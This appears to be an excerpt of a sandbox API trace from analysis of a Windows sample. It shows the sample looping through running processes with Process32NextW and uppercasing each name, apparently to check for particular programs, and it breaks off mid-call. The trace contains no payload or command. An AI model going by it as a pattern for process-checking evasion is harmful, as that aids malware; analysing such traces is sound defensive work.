CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.146] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.146] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.146] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.147] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.147] lstrlenW (lpString="svchost.exe") returned 11 [0292.147] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.147] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.147] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.147] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0292.148] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0292.148] lstrlenW (lpString="dwm.exe") returned 7 [0292.148] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0292.148] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0292.148] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0292.148] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.148] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.148] lstrlenW (lpString="svchost.exe") returned 11 [0292.148] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.148] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.148] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.148] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.149] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.149] lstrlenW (lpString="svchost.exe") returned 11 [0292.149] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.149] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.149] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.149] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.150] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.150] lstrlenW (lpString="svchost.exe") returned 11 [0292.150] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.150] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.150] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.150] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.150] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.150] lstrlenW (lpString="svchost.exe") returned 11 [0292.151] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.151] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.151] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.151] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.151] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.151] lstrlenW (lpString="svchost.exe") returned 11 [0292.151] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.151] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.151] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.151] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.152] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.152] lstrlenW (lpString="svchost.exe") returned 11 [0292.152] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.152] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.152] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.152] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0292.153] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0292.153] lstrlenW (lpString="spoolsv.exe") returned 11 [0292.153] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0292.153] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0292.153] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0292.153] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.153] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.153] lstrlenW (lpString="svchost.exe") returned 11 [0292.153] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.153] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.153] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.153] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0292.154] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0292.154] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0292.154] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0292.154] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0292.154] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0292.154] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.155] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0292.155] lstrlenW (lpString="svchost.exe") returned 11 [0292.155] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0292.155] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.155] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0292.155] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.155] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0292.155] lstrlenW (lpString="sihost.exe") returned 10 [0292.155] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0292.155] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0292.155] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0292.156] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.156] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0292.156] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.156] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0292.156] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0292.156] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0292.156] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.157] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0292.157] lstrlenW (lpString="explorer.exe") returned 12 [0292.157] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0292.157] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0292.157] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0292.157] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.157] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0292.157] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.158] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0292.158] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0292.158] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0292.158] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.158] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0292.158] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.158] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0292.158] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0292.158] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0292.158] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.159] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0292.159] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.159] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0292.159] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0292.159] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0292.159] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0292.160] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0292.160] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0292.160] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0292.160] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0292.160] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0292.160] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0292.160] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0292.160] lstrlenW (lpString="nice cu.exe") returned 11 [0292.160] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0292.160] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0292.160] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0292.160] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0292.161] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0292.161] lstrlenW (lpString="video_reviewing.exe") returned 19 [0292.161] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0292.161] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0292.161] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0292.161] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0292.162] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0292.162] lstrlenW (lpString="shame.exe") returned 9 [0292.162] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0292.162] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0292.162] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0292.162] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0292.162] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0292.162] lstrlenW (lpString="fantasy.exe") returned 11 [0292.162] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0292.162] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0292.162] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0292.162] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0292.163] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0292.163] lstrlenW (lpString="accepting.exe") returned 13 [0292.163] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0292.163] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0292.163] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0292.163] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0292.164] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0292.164] lstrlenW (lpString="authorized.exe") returned 14 [0292.164] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0292.164] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0292.164] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0292.164] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0292.164] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0292.164] lstrlenW (lpString="isp.exe") returned 7 [0292.164] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0292.164] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0292.165] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0292.165] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0292.165] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0292.165] lstrlenW (lpString="cowboy.exe") returned 10 [0292.165] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0292.165] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0292.165] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0292.165] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0292.166] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0292.166] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0292.166] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0292.166] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0292.166] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0292.166] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0292.167] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0292.167] lstrlenW (lpString="thats.exe") returned 9 [0292.167] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0292.167] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0292.167] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0292.167] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0292.167] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0292.167] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0292.167] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0292.167] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0292.167] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0292.167] Process32NextW (in: hSnapshot=0x2c4, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0292.168] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0292.168] lstrlenW 